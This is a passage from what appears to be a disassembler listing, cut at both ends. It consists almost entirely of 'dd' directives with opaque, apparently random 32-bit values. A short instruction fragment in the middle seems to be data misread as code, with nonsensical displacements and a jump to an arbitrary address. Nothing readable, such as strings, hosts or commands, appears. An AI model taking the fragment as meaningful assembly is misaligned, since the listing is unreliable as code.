565F5849h, 0F2D1625Ch, 320110DEh, 0EE5BAFBh dd 946C30h, 0E98C9F8Dh, 0DD4ED486h, 0BBE0B700h, 91A6484Fh dd 10305CB9h, 938502Eh, 0C0B2F5A1h, 2653F1C1h, 26B00B88h dd 0E6E068D5h, 160892ECh, 0A0D702E9h, 0B200A664h, 35276128h dd 16DA631Ah, 0B1B8D1D2h, 293070DCh, 0C50CEA58h, 84439D0Dh dd 16D670D1h, 33D52E18h, 0F081B728h, 0D1D02085h, 7770E38h dd 0F1D815DDh, 0D6D0E990h, 0A8FA0059h, 726A9B29h, 0BA2F80D4h dd 4FB8C0CBh, 0F784008Dh, 0E5CA52FBh, 0B000B916h, 0A6DB807Ah dd 511475Ah, 31535849h, 3483AE1Dh, 0A3378B4Bh, 0FD33C019h dd 1E567843h, 308AB011h, 304F5018h, 0C63220C1h, 18800D9Ah dd 0AE16BD92h, 48C0D5DDh, 113F5619h, 31F70B45h, 11801D90h dd 62AC75C5h, 9698DB14h, 0F3037D34h, 111F561Dh, 7E16B892h dd 0CB781049h, 0E3F400A5h, 0B16550C3h, 0A2E80075h, 342BCE1Dh dd 0D930B0D7h, 7FB84803h, 0DAB403ADh, 59FE07E9h, 5A8051h dd 0FD08B934h, 90F817F8h, 0C616DD0Ch, 3C9A913Dh, 3E18377Dh dd 7931D05Bh, 58380660h, 3DA61127h, 0B08C1705h, 2018240Bh dd 3D379C00h, 5DAE212Ah, 57D8EBB5h, 0D68CA054h, 9884A0EAh dd 709D017Fh, 814BDC6Ch, 209C401Fh, 69F0B4F5h, 6F0D0E8h dd 242BC907h, 0E7EE3FF0h, 0A075BAA6h, 0FAC0B424h, 0B05417BEh dd 0AD4D145Eh, 2B0A08B2h, 10A0C7B6h, 0B8A68A3Fh, 492D8B39h dd 0C9998041h, 72F5391h, 9E0499A7h, 314C8023h, 0A8C3F93Fh dd 0F916DCF1h, 0F0C4B515h, 4F70A1Bh, 0A0F0EEC6h, 17CA1FE4h dd 40AB0009h, 3A320FDh, 2CC288A0h, 0EED01900h, 0B2781110h dd 0F0ECA8ABh, 0DAF9181Dh, 764B106Bh, 0D2D13D6Fh, 40581422h dd 482FB044h, 860E4C82h, 0F0A0AD7Dh, 7801CA97h, 8E18D060h dd 50FD2062h, 0E41C88Dh, 49D3AC26h, 8717EF23h, 0C7B44CC1h dd 4E7F281Ch, 4B06FC69h, 97844E5h, 7950BFA6h, 6BF06018h dd 0EB84780h, 0DFDEAD81h, 504E80E0h, 4400727Ah, 4877D7A1h dd 2A55C58h, 0C60228D2h, 1C40AD51h, 1603ED90h, 59F94281h dd 0AB582454h, 58771C34h, 20611010h, 0A4B35A80h, 0A63C2010h dd 7B70EFF6h, 92102D09h, 81A43AD5h, 7E08B804h, 8497C841h dd 28875825h, 40C5A631h, 59584F78h, 19487F3Bh, 0CB59A813h dd 0B8009C55h, 2463C786h, 0D8343179h, 20E5A839h, 0EB407744h dd 0A1B700AEh, 0CFF87F19h, 61007C70h, 76CD3FCBh, 3642C0Eh dd 15EA4210h, 67880137h, 2579058Ah, 0FE3C822Dh, 782241F6h dd 0F835C11Dh, 8A0F575Fh, 0BBC782E7h, 0EF659724h, 2688060Ch dd 8ACCE58Ch, 0E306C215h, 1183C382h, 0E7B7ED84h, 1C0E53Dh dd 60FB020Bh, 5D328388h, 87DC80EAh, 0E28A5200h, 20C25582h dd 0D88B1FFh, 8353452h, 0EA52604Bh, 83837857h, 756BB31h dd 252D8A55h, 7CAD9255h, 45E1490Dh, 0C6812387h, 2309834Dh dd 87C7E323h, 411D8C5Dh, 0B70DF369h, 0E831D318h, 2FA1B1EAh dd 3413B5Ch, 0E9180D22h, 54AF5B59h, 5EBB0153h, 8A558F24h dd 0CCF8F5D4h, 0E40EC482h, 0C75A833Eh, 0E1CE22F4h, 7ECC215h dd 268112B9h, 0AEA0144h, 764EBF39h, 1AD2E0FDh, 302086A4h dd 8C673162h, 0D655517Eh, 0C582F882h, 48064D85h, 0EA41ED58h dd 1781733Bh, 0F66E06E8h, 0FFC8D82Bh, 7E14350Ah, 0EA06E00Ah dd 1E282053h, 0AE68A56h, 43A124F1h, 61902584h, 1A90CF02h dd 695A0880h, 0A3AA6DFAh, 750FAF0Eh, 0E8C05C6h, 82E8EA18h dd 3CBFB61Eh, 9C94E929h, 2E00D5E7h, 6B03640Bh, 650D12Ah dd 0E4FB5B07h, 387BC05Fh, 0E721F603h, 0E4E90242h, 47BC5421h dd 5CD9D012h, 7701BA52h, 0F872D27Fh, 0E14042DAh, 8B66218h dd 4586EA4Eh, 0C58C5B1Dh, 75B90C7Eh, 3F730ACAh, 90A9C832h dd 0D8F80684h, 576BE56h, 3DEAEB92h, 92735D90h, 69A90348h dd 19741DD0h, 0EA1256F8h, 155F6826h, 0D4020F60h, 6CA90489h dd 0CA0CD720h, 0F8308510h, 2B691018h, 2547CD26h, 0A8AB984h dd 0C20754EAh, 0C50EC81h, 0F0D8C780h, 0D05D0246h, 1FDDE964h dd 0C2A0A78Fh, 5AD70866h, 93FAF673h, 581A5667h, 3A27CA63h dd 8B81010Ch, 0C481240Ch, 0B114A804h, 0AAE9D00Ch, 3C8B0E48h dd 74182414h, 0C87100Ah, 8177F780h, 463AF8ADh, 29590CC0h dd 1815AD5h, 0A668DCC3h, 70EB0171h, 27A90B8Ah, 0FF6E8E83h dd 7968C377h, 0E91C1E6Bh, 0F702B055h, 0DE9046D6h, 6B1C300h dd 5EF531A3h, 334CC421h, 22341E25h, 0A4505B0Fh, 0FB9034E2h dd 3D327CC7h, 77BA3F4Eh, 70682367h, 58109A6Ch, 7D6D056Eh dd 0E1719640h, 1012573h, 551A8674h, 8003FEE9h, 26BF5738h dd 0AD4D0A1h, 3C8BFA29h, 0A6E90662h, 807646DEh, 0CA88430Eh dd 79831459h, 6B5EE33h, 0E6F875Ch, 0A87BB0C6h, 688957BBh dd 2163AEE7h, 0E9883F06h, 830F281Fh, 1C8985ECh, 0E08FBE06h dd 0C6010774h, 0CC9B6858h, 343E8926h, 0D174B924h, 8B0E9EB0h dd 6A1F0ABh, 24F78F1Eh, 414C582Ch, 401CE1E1h, 16BD554Fh dd 0E844E00h, 129FF581h, 0E9280C36h, 294414DEh, 6232FE77h dd 82F70E1Bh, 614D5DF1h, 83F7534Ch, 0FF1A3384h, 0E4075F6Ch dd 3BDE1E50h, 208B89FEh, 3087F659h, 665A7BF7h, 3433D3C7h dd 0D06316Dh, 41EFB303h, 38FA70A6h, 0C3C25453h, 483168E9h dd 0F0EF0116h, 102B656Eh, 2D1700BBh, 3B903E1Ah, 5D80114h dd 3E5B2907h, 5884143h, 0E5685136h, 0E2BB3743h, 83485405h dd 0ABA61C87h, 81B241E8h, 288E5448h, 0CCFC3EC2h, 89515C62h dd 0A23540E1h, 262C7168h, 63D7F7h, 337A7E18h, 2809CA81h dd 0F077B29h, 824490A8h, 22109158h, 0E709ED86h, 18DF847Fh dd 63105893h, 67BBC094h, 0C0771742h, 0A52D5BFCh, 0E0EB3E58h dd 0CE30E9F0h, 90682A71h, 0AC51D176h, 48D0510h, 2C805266h dd 5A603B87h, 3602E2C0h, 8A04CAFEh, 9FFC17EFh, 0E9D50AB0h dd 23E1E4B1h, 0E3C537DCh, 1C35F1C6h, 941D345Ch, 0C8B60F07h dd 619C5182h, 1005D714h, 34481F4Eh, 0F1835D1Ch, 931C3E44h dd 712CCD17h, 60B2D987h, 5494B209h, 8B282Bh, 4AA676B2h dd 0EB3AC14Bh, 0F3810007h, 23457A48h, 6D5A36E9h, 0C0269648h dd 56846B66h, 4AD9E689h, 26E9C518h, 84B07937h, 94515FF9h dd 0E94F7095h, 0BFC747C2h, 0F5345DEEh, 95D3E397h, 95B7D46h dd 14020456h, 176038Dh, 2438E908h, 0AD14B6B9h, 0CDF728h dd 0FE5BF920h, 54A9E9C1h dd 8234842Eh, 0F886B32Fh, 0D9F31801h, 590064EDh, 7070F5F8h dd 30ACA9E1h, 0F8A4424Dh, 91790AC0h, 0A491A414h, 0E36ACE5Dh dd 0C0E9C1DAh, 9ABB44DFh, 3C871882h, 643868A2h, 314732Dh dd 0F618E9E2h, 0FDBA0314h, 29D179DEh, 0CB015A90h, 5765948h dd 49954199h, 21B99007h, 2F807DB5h, 9803E6C1h, 0DA296862h dd 0A90558C3h, 47DD5826h, 1230A039h, 7F1CC80h, 0E94B143h dd 0DD599EFDh, 0E328C9F4h, 3C7C4688h, 67F2C33Eh, 972B311Dh dd 0FDB469CBh, 52F4E958h, 2FB300CCh, 4E684B9Dh, 5AF9D464h dd 6CC7BD00h, 210533E3h, 4FAD2A07h, 9479D1E9h, 0E8010AEDh dd 2482C8Bh, 5E08950h, 0E869B746h, 58179116h, 31E90664h dd 0A1938478h, 0E2CF47D5h, 55A2C581h, 0C1012C7Ah, 6BE008E3h dd 4A55D218h, 41185D34h, 3372D868h, 41BB261Fh, 8A354CC0h dd 0D3F7242Bh, 77D803B3h, 0E3B0662Ch, 0AD3E4ADCh, 3DEB0460h dd 5187DD91h, 81C25B34h, 0CEBCC8F7h, 58E6E64Fh, 0FE00AE6Eh dd 0E9C0B353h, 61913009h, 7310210Dh, 9659E0FAh, 0A8018362h dd 84B1E793h, 0BF846C01h, 6A9BE9h, 650EF0BDh, 4D3FF410h dd 0F07611F3h, 5D20C093h, 8247C29h, 8F0D5F76h, 6814047h dd 0BDDDD20h, 2083E926h, 0A0333520h, 1262F69h, 0FF20DAC7h dd 19371A4h, 1603488h, 0A85972B8h, 0BDE2EA52h, 94DAA325h dd 0EA5370h, 77331D1Bh, 0EF288179h, 5F202301h, 3309698Fh dd 0A0203414h, 2E547652h, 0A287F545h, 4BFD2C10h, 7706CB69h dd 84C123Fh, 0D48F849Ch, 28593315h, 0E9F92192h, 925817Dh dd 51E2D1C2h, 0D240E5E8h, 939F274Ah, 2609F635h, 31C3095Bh dd 0CBE081A6h, 880804DAh, 0D8494468h, 598DE3Eh, 0B205640h dd 0CDFE58C5h, 81B24D02h, 8040C6E2h, 22F598E9h, 806D2148h dd 0B9515B54h, 170F5055h, 1BE98170h, 0DEF0A90Dh, 3E2B97A4h dd 3490DB93h, 369D0A44h, 0CF2989CCh, 65F4E79Ch, 9BC19482h dd 5DE8855Fh, 4F984987h, 0F7472F20h, 0E739C1DFh, 5EF8F06h dd 0D6AC2081h, 0B08961ABh, 0B8E1FE24h, 0E183109h, 2057D84Bh dd 7F04ADADh, 0DF897245h, 92D59981h, 0B5B10B64h, 0F06600Ch dd 0C2F32828h, 6E9A5C86h, 871230B0h, 41055756h, 7C9969ECh dd 84FFF707h, 0DCA5D38Dh, 0B9E154DCh, 685E82D0h, 0D99A7810h dd 32EDCFC3h, 899CC6EEh, 9A0B7198h, 0D74AA17h, 8012884h dd 429B335Dh, 16B40631h, 1822B721h, 0D8FBAD03h, 0E0A33AC2h dd 0E591F488h, 0DC062058h, 0DAF700F1h, 8E234C1h, 0C2B00B06h dd 0A9D75980h, 0D8BAD089h, 4378E00Ch, 0E0990C58h, 0DE6B5CB5h dd 5C4D5E20h, 0BD6824CEh, 6A215D42h, 269765BFh, 757C625Eh dd 5D056605h, 9146B6Ah, 430A5C23h, 0B8F87520h, 2C8D2E91h dd 0F526DEE3h, 1B6B3324h, 0D4C0631h, 0E6A626E8h, 0E556508Eh dd 362037D9h, 0B3694668h, 0BA528AE9h, 6674C0C7h, 126214Fh dd 0F40C82D6h, 71C71D43h, 0D73F3FDEh, 83174A48h, 4AC306C1h dd 43B874DDh, 1963EB9h, 215E3B49h, 4577683Dh, 6842924Dh dd 246AC582h, 0BA25BF0Ah, 0F7BD1A80h, 617A0D0Ah, 1483B332h dd 4569C451h, 0CAE2759h, 6B266968h, 7E7AC53Ch, 0C1B1980Bh dd 320F4100h, 0F1BE3FBFh, 0EF0128CDh, 0E9F80BEAh, 199E188Eh dd 0B040684h, 50840FC0h, 34FFC8E0h, 90D62877h, 0E0C48085h dd 0C370EBE6h, 1325E37Dh, 0CC893AEDh, 1A179A10h, 81201EE9h dd 0EBA51BA2h, 8103C066h, 3E4530F1h, 18E7F144h, 1D664D58h dd 2562CB68h, 2E93E622h, 245B4609h, 94E0D821h, 0C1801F5Bh dd 0C83118E8h, 0E2B8FBB0h, 79756812h, 33C10FCDh, 22A5D207h dd 0D8675548h, 75FE4082h, 124CAC8Ch, 74651368h, 0E90E9841h dd 0AC7B5B8h, 0B9B4F028h, 521626F3h, 5C4D1FB6h, 2CD80E5Ah dd 0E9F4C5FEh, 0E01788AFh, 0F0814193h, 7F4CE95Eh, 5C828538h dd 3858F1F6h, 6812EFB0h, 44CF74C2h, 3BD11110h, 7B5D2401h dd 0B2FC021Eh, 71F1630Ch, 0D1F740BFh, 250E9C1h, 541D3BD6h dd 0BD1B1Eh, 30DD43EAh, 0FE59CE29h, 21C802E6h, 0B85062A2h dd 0C6FE577Ah, 0F63F4598h, 20A09E4Bh, 875EF245h, 9A878712h dd 0A4501858h, 39CCD0BFh, 0C17EB2D8h, 2CC5B186h, 0E582C239h dd 757A7C24h, 0E5A29086h, 0AAAF770h, 10450494h, 0AE753DCDh dd 0BB5BBD48h, 12521304h, 0C07CD879h, 12595D40h, 61068068h dd 58D63FDh, 9202790Bh, 0B5BA0290h, 4A9A411Eh, 0C3579FC3h dd 21598B5Fh, 7B40E948h, 0DA8F3AA5h, 0F3A44B0Bh, 828BA2BDh ; --------------------------------------------------------------------------- push ebp mov ebp, esp xchg ch, [ebp+620084EDh] add eax, 41313899h and eax, 0E03E1ECDh and [esi-79A02064h], bh jmp near ptr 3F3B16EEh ; --------------------------------------------------------------------------- dw 95B7h dd 0CDF3F71Fh, 9206AAEEh, 7240C580h, 142EE781h, 0F7771F61h dd 472D52D7h, 74E82989h, 0FE25A048h, 0F480C41Ch, 2FE128C9h dd 2B92FFB8h, 79688430h, 52E69C01h, 6E90AC60h, 0D7939DA6h dd 572DC601h, 84040B18h, 9B0815DFh, 2C6C99Ch, 0E421E865h dd 4CD7E904h, 965E1BD3h, 310D3E48h, 1817BD15h, 1E003758h dd 0C16CC813h, 0F71D03EBh, 815DD1D3h, 0AD759FC2h, 0B2D5E801h dd 8E69B08h, 933069D9h, 482F26BAh, 0EA022E03h, 2230685Dh dd 0E914D766h, 852091F1h, 0A610F295h, 70A71908h, 8F70FE31h dd 970648E6h, 0D5290A03h, 0C6054E69h, 6FB31DECh, 0AD879500h dd 931E538h, 0D765E9F1h, 9C62A89Ah, 8812EB70h, 11C78AECh dd 0B1A26465h, 0ABE95809h, 0C3683661h, 2159E112h, 46A08F04h dd 0F0C60507h, 432D60ABh, 232E5207h, 7CAF801h, 2011513Eh dd 0C08028CAh, 520207E5h, 70C3B151h, 0C98006E1h, 0C1247D73h dd 0F519A545h, 3302ECB1h, 0E218156Ah, 0DF9C886Fh, 40052C79h dd 4C33A384h, 79090537h, 71CC12Ah, 0E05004F3h, 6249E903h dd 4081E543h, 0EEF03C46h, 0F030284Bh, 9E3722h, 6E1EBA78h dd 0DA312516h, 0A9015B2Eh, 3E7FE906h, 0C94D4C30h, 8F131107h dd 0A5F5F51Ah, 5B69EAD4h, 9E14B989h, 8ADF5DE8h, 78D3F66Ah dd 1DBD2504h, 5860280Ch, 7E2C003h, 0FA12C280h, 357AE8B9h dd 0D86D3D98h, 239A0500h, 0C129AED3h, 51DA584Ch, 0A3D1D8D8h dd 856CBF28h, 0C730D390h, 3D2D25EDh, 13A63C34h, 705C814h dd 4E7F5E48h, 6DF4B04h, 3C40D566h, 421C4E73h, 0B07C6F75h dd 86EBDE60h, 2778551Dh, 2E0AC381h, 18876218h, 9C5F74B3h dd 4018A80Ch, 98246EC6h, 0E86B12CAh, 0F712C153h, 3CEE31D0h dd 87813FCBh, 4AEC545Fh, 0E7D1EA61h, 93189F8h, 0EFC15AD7h dd 1CC7F300h, 96E76639h, 8D023D0Ch, 0C1FB01C6h, 4B974BAEh dd 8DD95EBh, 1EA950FFh, 969F22CBh, 12AD2911h, 10F4239Eh dd 0BE2E2D0Bh, 0FE3518ABh, 0C1DD8EEh, 0CE8A4092h, 5128446h dd 41CDC50Fh, 0EEC10873h, 1070796h, 987D3284h, 123C8142h dd 89EC5DFEh, 0F0807B61h, 9E38EDCAh, 0E26FC155h, 322FA0EAh dd 4DE92AC6h, 5B0FBD36h, 0EB09DAF6h, 0F568A8E0h, 0DCBB5F6Ch dd 0C4BD1355h, 0B9D8C037h, 0AF0B53F6h, 0CD295Dh, 893EDC7h dd 5A2048D8h, 0FB76DD02h, 4D000947h, 1DC4C581h, 8191386Fh dd 184C89E5h, 4638802Eh, 0E9136939h, 2C5294D4h, 3E90083Ch dd 15621425h, 4D073868h, 8BD1881Eh, 93305D54h, 53807F51h dd 26B23C52h, 0CB5FDC92h, 30C12120h, 525DC9BAh, 66B81150h dd 2DE72318h, 31AFF0Ch, 0E9570E5Bh, 9C4A4D0Fh, 0B19D2236h dd 6D108F1h, 0F7864E28h, 0C516D3D8h, 0D63A26F7h, 0A8ED01BEh dd 0F050F227h, 0B73EBDF5h, 0EF21924Eh, 0F9DDEA04h, 0DDB2D919h dd 7ECEC53h, 559E5A99h, 16CEA48h, 1E53F8B9h, 7DA853Eh dd 0A8C1E1A8h, 495C715Ch, 1225D05h, 788181CBh, 714D9765h dd 846A0DCh, 145ED8FAh, 7EA8F044h, 97040CB3h, 800E4804h dd 744F4AE6h, 4719455Ah, 21FD05D8h, 0E61E9D9h, 5DC73664h dd 497B6058h, 294FD65Ah, 0D0043CFDh, 0BE6E22A2h, 3EDD686Eh dd 0B4C2D81h, 2D8029E9h, 14E084DFh, 4248465Ah, 22E78F54h dd 698B8CCAh, 52E40F0h, 0BE5F250Bh, 65470930h, 10BA1457h dd 1DDF2926h, 475956FFh, 0EB5457B7h, 0A325636Ch, 0EB7183E2h dd 5021C24Eh, 0CE2D03C0h, 5F4D444Bh, 80EC41D9h, 7447B926h dd 7BD121B2h, 0DA42F9E1h, 53B90C44h, 2C86131Fh, 0DCC57612h dd 9E315A0h, 5CDE4679h, 508FDD03h, 0EB3118C0h, 40F95D73h dd 4F8DF6CBh, 930F507h, 609E5EF7h, 0D3B05013h, 5FF81389h dd 35DA902Dh, 0E0051292h, 14FBE963h, 157132CDh, 598C8169h dd 5D00BBA5h, 81178223h, 26691CCBh, 0A33D52h, 251327C7h dd 0FF6EC383h, 9990A0B5h, 12017D0Fh, 0C81C8BD8h, 0A3276860h dd 0FAF31B77h, 5F73C902h, 0A0145A32h, 0BFC1F409h, 0D473329Eh dd 5F05FA29h, 0C281EA01h, 8B5D0B00h, 0B15B5A0Ah, 0D96861FBh dd 81265205h, 26B4160h, 0E96F4A0Bh, 8C09292Ah, 1C350435h dd 0E5C0CB44h, 605B3B61h, 0B09273E5h, 646F81BCh, 0E6191EE4h dd 0C4296C5Bh, 13AC154Bh, 9751E94h, 4EF94097h, 0F739540h dd 0F6500E9Ch, 0B843D063h, 205A0A60h, 5B2666FDh, 0CD091952h dd 0EE7461DBh, 4E7AF128h, 0D94C131Ch, 509DF1BCh, 0EE805CDFh dd 0E630931Ch, 0C808F49Bh, 0C78601ECh, 0E541C60Ah, 5634C2F0h dd 0AA5B94Ch, 353FD1A8h, 239255Bh, 42604432h, 8B676ADDh dd 4BCD4453h, 649A1262h, 5CB6A0CFh, 10944090h, 0AE1E4426h dd 0BA3C4980h, 998A3E2h, 59CA2987h, 0F05C723h, 683A6D98h dd 1BB143F0h, 506AB982h, 16DBC5E2h, 3E76401Ch, 4D45C63Bh dd 0E53DC1E2h, 0E9CBD404h, 7D80D04Bh, 4C1768BAh, 0B809411Ah dd 0CF0B4827h, 284F3103h, 0C22951C0h, 883CAF1h, 4FAC158h dd 0BBF2CCC0h, 68900B18h, 9472C22h, 7E90F96h, 5E49E058h dd 2508002Ch, 1B0D3C0Eh, 4A392C06h, 7B822DBh, 5D6F14BDh dd 3B48A208h, 10B1CE6Bh, 1A312B1Bh, 5801E25Dh, 17B55157h dd 0D5F7F450h, 0F670D898h, 9405D7Dh, 4D6F2CE9h, 61DC4055h dd 68906C29h, 0CA8B9F20h, 2EA03C6h, 7E88586Ah, 5DAC860h dd 2D6F7826h, 0C15C8701h, 8AD5E998h, 0A0414A2Fh, 0B75380C2h dd 0ADC78097h, 3DBCE1F6h, 95809627h, 3BC309B8h, 0B93C3593h dd 0CB0CCCBCh, 0FE8DC654h, 663BC19Eh, 0C9C6FE59h, 0F8AAECCEh dd 51BB88A1h, 81D2622Dh, 61F7BD14h, 7EFC7224h, 766C267Dh dd 0C223AF9Ch, 7BD2601Eh, 8285960h, 0FB8A1128h, 8874C73Ah dd 20DA0148h, 75E91208h, 56CB4E0Dh, 0E5814E6h, 80E35D49h dd 59244F29h, 0E5236B68h, 2E3504h, 0ADC6F181h, 11A0C4Bh dd 0FB2859C8h, 80772B4Dh, 55A01CC5h, 34E92D52h, 0C321EC81h dd 0C1BA8658h, 3CC004EBh, 0D5D87AF8h, 729A150h, 0E9771947h dd 0AB6949BBh, 7588E107h, 240E2363h, 516FC72Dh, 0B540BB39h dd 7544DDFFh, 33902C4h, 0F328FC82h, 59027AF1h, 0EEE38953h dd 0DAB83446h, 0E1DDF522h, 801A9F27h, 0CB0E989Ch, 82CEDB59h dd 0AEA0C3E3h, 22A84E06h, 73EACF34h, 4649D8D9h, 5FB03Ch dd 165F1FD0h, 0D1D9F759h, 0B4E475B8h, 2FA13813h, 22FE3C00h dd 4C892920h, 32071CFh, 0F1539FB4h, 870588D2h, 55CB7277h dd 7D5D3949h, 2BCBDF6Ah, 0B4E8ACCAh, 75969555h, 0B29782EEh dd 0BCDA80C3h, 0B0408826h, 981DA363h, 24042320h, 0A0382979h dd 54E94A08h, 40700536h, 450CB9E0h, 0EA650650h, 0F9392022h dd 66DAC906h, 0A0C4BECh, 48D1763Bh, 0A6D40381h, 44E3F435h dd 2319F41Eh, 4C2918FFh, 9277E910h, 2C5A1CDDh, 0FAE81EADh dd 0A698497Ch, 0FD8D2D4Ah, 48073C5Eh, 0A4A0614h, 0B0C46C1h dd 13710DA4h, 740E0F09h, 477248A9h, 0D1220460h, 0B645724Eh dd 2D06304Fh, 33F44341h, 5102A597h, 0E3C1B146h, 5EEB0536h dd 0F4F8E246h, 444195F5h, 54E50C92h, 3AB6493Bh, 1C4177A6h dd 683224h, 50441F6Eh, 0E0930558h, 0AFBB25h, 0E8307143h dd 94619B1Dh, 4F490CEAh, 0FFD02183h, 0D258B652h, 6DAE304h dd 7A04550Bh, 99A1F526h, 0A6F12903h, 81D459CEh, 0EB2EA768h dd 0C6BFF827h, 2447DED1h, 3AAF855Dh, 7DF54096h, 11E01D2Ah dd 0ED28BC01h, 0D6ADA008h, 665C8052h, 6FD3D34Ah, 59612D20h dd 0D89C8889h, 3E89FEC0h dd 0B201092Ah, 2C088388h, 3E0E10Ch, 0C5F9E94Ch, 0F1684E0Ah dd 0F4B06A7Fh, 1223FB63h, 0CD4B7CE9h, 8C69DC3Bh, 4F5687A2h dd 0EC49D546h, 6ED30C1h, 718ED0DCh, 0EB89FD18h, 81DD6F24h dd 64BFEBB7h, 0E5EF9911h, 0EDC7A60Bh, 22AB123Ch, 0CEBD9B04h dd 0A69228A8h, 63A21064h, 0F2D4124Eh, 68F944A2h, 981DD22Dh dd 9E29915Ch, 0EC1DD00Dh, 86B01499h, 18156FF7h, 0BF53522h dd 19FB9E9h, 0E1C058DEh, 0BBE5B8BFh, 0A891A68h, 7C527B74h dd 0C8124971h, 0A0C9465Eh, 443B8427h, 0CF810255h, 3D110D91h dd 1D009679h, 29E0AAB0h, 785F64FEh, 0CD870556h, 6801B800h dd 4A29805Bh, 0F8BF8DEFh, 301277F7h, 98005FA0h, 18605BCEh dd 612BF909h, 0F9CAEF7Ch, 0FB577074h, 0CE905F7Ch, 18866817h dd 0AAB7D635h, 9CB85C28h, 0B4455AC6h, 92400396h, 8E05D001h dd 1452251Dh, 322B7B56h, 2D1F8001h, 8C60C151h, 0D6F50681h dd 125D1873h, 76F00363h, 29F1C8C6h, 0B05AF8E8h, 74FC01ADh dd 0E1C1482Ah, 30202108h, 0D525028h, 211C4BB5h, 8F4B4928h dd 5EB3BD81h, 4768C840h, 0E077AB74h, 17D3F618h, 861BF380h dd 0E20C0CF6h, 0CECDB5E9h, 2CD81E28h, 20D349D4h, 557166Eh dd 68DF4105h, 51174A28h, 9CFE7498h, 4DDF888Ah, 0BB535C00h dd 26490557h, 20AB2150h, 657205ECh, 1C297E8Ch, 0F9C3DED8h dd 0CC61621Eh, 76A8F6Eh, 9D78C441h, 0B30F66C2h, 0F62F2A64h dd 0A43118C3h, 52598037h, 4245BA07h, 0A93F086Ah, 29C72BC7h dd 0D9A743CFh, 16B0FA82h, 0E4518A92h, 0F228624Ah, 6A6809BBh dd 0F4873E39h, 79F157C3h, 0E92568F0h, 7B642A7h, 0A58406F0h dd 8B4F3EB8h, 0D3C5637Bh, 96C1222Ch, 4326A190h, 0C42631CCh dd 19F9E50Ch, 48C703C2h, 0F2010F05h, 883EAC2h, 4FA835Eh dd 6AAA5754h, 68051A9Bh, 644B61D7h, 0C00E8051h, 219D562h dd 7A6650B9h, 3E13154h, 2D733446h, 321A6A0Fh, 0A89A6B63h dd 851696C5h, 0BC109B4h, 3E8D0C76h, 5804FB61h, 0F94FF7D1h dd 0EE21E08Bh, 59526593h, 32987931h, 0B2B5540Ch, 0D6716049h dd 68538080h, 943C352Fh, 58A882E4h, 79FF8069h, 191E0074h dd 208B34BFh, 0D758293Bh, 0F3F702B1h, 606E696Ah, 10618A1Dh dd 7F89F683h, 5D044EFCh, 50E926C7h, 0BC137694h, 0EDA05634h dd 855164AFh, 52F0ADD9h, 2FF53144h, 282EC828h, 0C13F886Fh dd 84E13958h, 5966C820h, 0A9483E2h, 69B39D4Fh, 6201059h dd 0F764BE01h, 2B29DDA9h, 6B7DC204h, 0EDC58002h, 39BF663h dd 0A23F65BFh, 0B0EFCC98h, 372F6F36h, 0A8E39ACFh, 69E1F828h dd 88AC6822h, 6311B33h, 45F90D45h, 0A8B9F420h, 66145D92h dd 3EF0D829h, 6E284A1Ch, 0E75960FEh, 5C6FC6CAh, 45F850FCh dd 0AD02EEB4h, 0D12C6468h, 4C4A89Fh, 78E92F7Eh, 2C57CA42h dd 6E55C59h, 0D7E8C094h, 525029A2h, 3F925875h, 183BDF2Dh dd 2652F718h, 16F7BABh, 498A4540h, 4F123E01h, 287A1B0Bh dd 5AEEA5h, 0F7E9DDE4h, 0BD078275h, 85F530FAh, 5948E828h dd 160410A6h, 57FE3109h, 0D1F79F23h, 0FC5F0B3Ch, 0FE68102h dd 4350B15Ah, 0B12839Fh, 525EF2A5h, 18283340h, 0FECAC198h dd 0E90907F1h, 0E2E3C217h, 6C2961C0h, 4E0D0882h, 0ECC20F85h dd 0EE8367E0h, 0D87132C9h, 0ED9B952Dh, 0B5F284DCh, 51D3438Ah dd 0F4CA1912h, 0D8C18D43h, 172E348h, 82981782h, 42CF31AAh dd 0C007FBC2h, 0CB800563h, 0D6C198B7h, 59CF0E88h, 0D749DFF6h dd 519F3C03h, 0FDE9F9D8h, 11EEF75Dh, 1C207147h, 18444C27h dd 526A663h, 84E974A2h, 2C058DD3h, 0C3027001h, 0E9E0B151h dd 4E26CAC5h, 80B9CEFh, 902434C1h, 333B9180h, 1009B911h dd 3B20C46Ah, 0D1B2E45Dh, 0AEFA180h, 1023B07h, 300D0C78h dd 0A218182Bh, 0E47DF371h, 5286F958h, 0CF68800Fh, 0B4711614h dd 0A59995ADh, 40F5CD4Fh, 3931C13Ch, 0E2E94E0Ah, 3D8988C2h dd 9044D7Ch, 0E059F376h, 0D916C325h, 0D1071809h, 439D1C77h dd 92ADD3E5h, 78D4A841h, 36AEEA81h, 0F0ED786Bh, 0B9BC002Fh dd 2C546457h, 0E8010B90h, 0E94B655Fh, 0A750EF34h, 269CB9F1h dd 3ABA91C3h, 28B5FC02h, 8F5CD101h, 0E9C8076Fh, 0DF27289Bh dd 0E9749043h, 4FB08127h, 0C870E902h, 8A050AC0h, 1F455F2Eh dd 56581889h, 31B549E6h, 4F09A081h, 824B291Ch, 0DEBFEDE9h dd 7C16E969h, 0B6E9550Dh, 0F6A0F10h, 0A2464D2Fh, 0DAB91222h dd 0B492562h, 849F05EEh, 540C4628h, 68195D79h, 8D3B3648h dd 56183E25h, 297E52D0h, 0E0CE539Fh, 0A109BF88h, 63AC7159h dd 169FEB9Ah, 0B654551Bh, 9D2C7E0Eh, 9B8D7D6h, 0C2582CC8h dd 0BAC045AAh, 0CEB002A7h, 40629A68h, 5606FC49h, 444F80B5h dd 0D9096F10h, 3D4C5B48h, 90CE9801h, 344F8993h, 82DD5920h dd 0A47CAD6Eh, 0A8400916h, 0DCDD72EBh, 837691F6h, 0E388C1B4h dd 93A249CAh, 9661E528h, 0FC9EE821h, 0C15326C9h, 0EA7CC67h dd 0D2F72BC0h, 80C04D6h, 0FEBE18E5h, 5AD43F25h, 804EDE17h dd 8AF68112h, 1B523E0h, 862B4C49h, 2DCE29D8h, 4A60BBE9h dd 6805565Fh, 732E63E8h, 5CA0A081h, 0D70BE939h, 650BF967h dd 80739C2h, 30FFA25Ah, 7E762243h, 24C3BA53h, 0BD81B8D1h dd 70564BCh, 7048E561h, 3DD78F7h, 0AF43A3F5h, 9E045229h dd 4D6B7A2Ch, 4FB80380h, 0FA7B64FCh, 0F2C39417h, 649A07AAh dd 0D9F23F8Eh, 9A054738h, 1AC40C83h, 0BA62149Fh, 53A6B5A5h dd 0D9ACC753h, 0DD33CAA0h, 0F5EE722Ah, 0BF519394h, 77482322h dd 0C6F6E9C2h, 6E994F7Ch, 0C52666FBh, 51DC689Ah, 5763E9E1h dd 5F05980h, 35390D72h, 